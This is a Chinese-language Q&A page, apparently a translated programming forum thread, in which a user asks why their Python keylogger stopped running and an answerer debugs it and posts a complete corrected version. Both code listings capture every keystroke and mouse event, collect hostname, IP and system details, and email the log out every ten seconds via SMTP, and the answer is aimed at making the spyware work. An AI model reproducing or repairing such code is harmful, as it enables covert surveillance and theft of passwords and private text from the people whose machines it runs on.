我用Python制作了一个键盘记录器,但它没有运行

问题描述 投票:0回答:1

当我昨天尝试执行它时,它起作用了并且成功地向我发送了邮件。但是当我今天打开这个程序并尝试执行它时,它不起作用,也没有给出错误。请帮助我理解这个问题。

try:
    import logging
    import os
    import platform
    import smtplib
    import ssl
    import socket
    import threading
    from pynput import keyboard
    from pynput.keyboard import Listener
    from email import encoders
    from email.mime.base import MIMEBase
    from email.mime.multipart import MIMEMultipart
    from email.mime.text import MIMEText
    from email.message import EmailMessage
    import glob
except ModuleNotFoundError:
    from subprocess import call
    modules = ["pyscreenshot","sounddevice","pynput"]
    call("pip install " + ' '.join(modules), shell=True)


finally:
    def sendEmail(message):
        port = 587  # For SSL
        smtp_server = "smtp-mail.outlook.com"
        sender_email = "email"
        password = "password"
        receiver_email = "email"

        # Create a secure SSL context
        context = ssl.create_default_context()

        try:
            server = smtplib.SMTP(smtp_server, port)
            server.ehlo() # Can be omitted
            server.starttls(context=context) # Secure the connection
            server.ehlo() # Can be omitted
            server.login(sender_email, password)
            server.send_message(message)

        except Exception as e:
            print(e)
        finally:
            server.quit()

    EMAIL_ADDRESS = "email"
    EMAIL_PASSWORD = "password"
    SEND_REPORT_EVERY = 10 # as in seconds
    class KeyLogger:
        def __init__(self, time_interval, email, password):
            self.interval = time_interval
            self.log = "KeyLogger Started..."
            self.email = email
            self.password = password

        def appendlog(self, string):
            self.log = self.log + string

        def on_move(self, x, y):
            current_move = logging.info("Mouse moved to {} {}".format(x, y))
            self.appendlog(current_move)

        def on_click(self, x, y):
            current_click = logging.info("Mouse moved to {} {}".format(x, y))
            self.appendlog(current_click)

        def on_scroll(self, x, y):
            current_scroll = logging.info("Mouse moved to {} {}".format(x, y))
            self.appendlog(current_scroll)

        def save_data(self, key):
            try:
                current_key = str(key.char)
            except AttributeError:
                if key == key.space:
                    current_key = "SPACE"
                elif key == key.esc:
                    current_key = "ESC"
                else:
                    current_key = " " + str(key) + " "

            self.appendlog(current_key)

        def send_mail(self, email, password, message):
            sender = "[email protected]"
            receiver = "[email protected]"

            msg = EmailMessage()
            msg['From'] = sender
            msg['To'] = receiver
            msg['Subject'] = "Log File"
            msg.set_content(message)

            sendEmail(msg)

        def report(self):
            self.send_mail(self.email, self.password, "\n\n" + self.log)
            self.log = ""
            timer1 = threading.Timer(self.interval, self.report)
            timer1.start()

        def system_information(self):
            hostname = socket.gethostname()
            ip = socket.gethostbyname(hostname)
            plat = platform.processor()
            system = platform.system()
            machine = platform.machine()
            self.appendlog(hostname)
            self.appendlog(ip)
            self.appendlog(plat)
            self.appendlog(system)
            self.appendlog(machine)

            self.send_mail(self.mail, self.password, "\n\n" + self.log)
            self.log = ""   

        def run(self):
            system_information()
            keyboard_listener = keyboard.Listener(on_press=self.save_data)
            mouse_listener = Listener(on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll)
            self.report()
            keyboard_listener.start()
            mouse_listener.start()

    keylogger = KeyLogger(SEND_REPORT_EVERY, EMAIL_ADDRESS, EMAIL_PASSWORD)
    keylogger.run()

我本以为它会像上次一样向我发送一些邮件,但这次没有运行。 这就是终端中发生的情况 VS Code Terminal

python security automation keylogger
1个回答
0
投票

因为程序立即结束。
所以,我们应该使用

listener.join()
而不是
listener.start()

并且,您应该使用
Listener
(而不是
pynput.mouse
)中的
pynput.keyboard
作为鼠标。

from pynput.mouse import Listener

我们还需要一个结束程序的方法。这次,我假设释放

ESC
键将结束程序。

def on_release(self, key):
    if key == key.esc:
        # Stop listener
        self.mouse_listener.stop()
        self.report()
        return False
def run():
    # Other code
    keyboard_listener = keyboard.Listener(on_press=self.save_data, on_release=self.on_release)
    # Other code

run()
函数中,我们应该首先运行键盘监听器。这里我们使用
listener.start()
因为我们必须在此之后执行鼠标侦听器。

keyboard_listener.start()

现在,我们运行鼠标监听器。这里我们使用

listener.join()

with Listener(on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll) as mouse_listener:
    mouse_listener.join()

并且,我们更改

on_click()
函数的参数。因为
on_click
on_scroll
需要有5个参数(包括self)。

def on_click(self, x, y, button, pressed):

我们还将

system_information()
更改为
self.system_information()

并且,
logging.info()
返回
None
。所以,我们...

click = "Mouse moved to {} {}".format(x, y)
logger.info(click) # print click
self.appendlog(click)

这里,

logger
定义为...

logging.basicConfig(level = logging.INFO)
app_name = "my-app"
logger = logging.getLogger(app_name)

最后,最终的代码是...

try:
    import logging
    import os
    import platform
    import smtplib
    import ssl
    import socket
    import threading
    from pynput import keyboard
    from pynput.mouse import Listener
    from email import encoders
    from email.mime.base import MIMEBase
    from email.mime.multipart import MIMEMultipart
    from email.mime.text import MIMEText
    from email.message import EmailMessage
    import glob
except ModuleNotFoundError:
    from subprocess import call
    modules = ["pyscreenshot","sounddevice","pynput"]
    call("pip install " + ' '.join(modules), shell=True)


finally:
    logging.basicConfig(level = logging.INFO)
    app_name = "my-app"
    logger = logging.getLogger(app_name)

    def sendEmail(message):
        port = 587  # For SSL
        smtp_server = "smtp-mail.outlook.com"
        sender_email = "email"
        password = "password"
        receiver_email = "email"

        # Create a secure SSL context
        context = ssl.create_default_context()

        try:
            server = smtplib.SMTP(smtp_server, port)
            server.ehlo() # Can be omitted
            server.starttls(context=context) # Secure the connection
            server.ehlo() # Can be omitted
            server.login(sender_email, password)
            server.send_message(message)

        except Exception as e:
            print(e)
        finally:
            server.quit()

    EMAIL_ADDRESS = "email"
    EMAIL_PASSWORD = "password"
    SEND_REPORT_EVERY = 10 # as in seconds
    class KeyLogger:
        def __init__(self, time_interval, email, password):
            self.interval = time_interval
            self.log = "KeyLogger Started..."
            self.email = email
            self.password = password

        def appendlog(self, string):
            self.log = self.log + string

        def on_move(self, x, y):
            click = "Mouse moved to {} {}".format(x, y)
            logger.info(click) # print click
            self.appendlog(click)

        def on_release(self, key):
            if key == key.esc:
                # Stop listener
                self.mouse_listener.stop()
                self.report()
                return False

        def on_click(self, x, y, button, pressed):
            click = "Mouse moved to {} {}".format(x, y)
            logger.info(click) # print click
            self.appendlog(click)

        def on_scroll(self, x, y, button, pressed):
            click = "Mouse moved to {} {}".format(x, y)
            logger.info(click) # print click
            self.appendlog(click)

        def save_data(self, key):
            try:
                current_key = str(key.char)
            except AttributeError:
                if key == key.space:
                    current_key = "SPACE"
                elif key == key.esc:
                    current_key = "ESC"
                else:
                    current_key = " " + str(key) + " "

            self.appendlog(current_key)

        def send_mail(self, email, password, message):
            sender = "[email protected]"
            receiver = "[email protected]"

            msg = EmailMessage()
            msg['From'] = sender
            msg['To'] = receiver
            msg['Subject'] = "Log File"
            msg.set_content(message)

            sendEmail(msg)

        def report(self):
            self.send_mail(self.email, self.password, "\n\n" + self.log)
            self.log = ""
            timer1 = threading.Timer(self.interval, self.report)
            timer1.start()

        def system_information(self):
            hostname = socket.gethostname()
            ip = socket.gethostbyname(hostname)
            plat = platform.processor()
            system = platform.system()
            machine = platform.machine()
            self.appendlog(hostname)
            self.appendlog(ip)
            self.appendlog(plat)
            self.appendlog(system)
            self.appendlog(machine)

            self.send_mail(self.mail, self.password, "\n\n" + self.log)
            self.log = ""   

        def run(self):
            self.system_information()
            keyboard_listener = keyboard.Listener(on_press=self.save_data, on_release=self.on_release)
            keyboard_listener.start()
            with Listener(on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll) as mouse_listener:
                mouse_listener.join()

    keylogger = KeyLogger(SEND_REPORT_EVERY, EMAIL_ADDRESS, EMAIL_PASSWORD)
    keylogger.run()
© www.soinside.com 2019 - 2024. All rights reserved.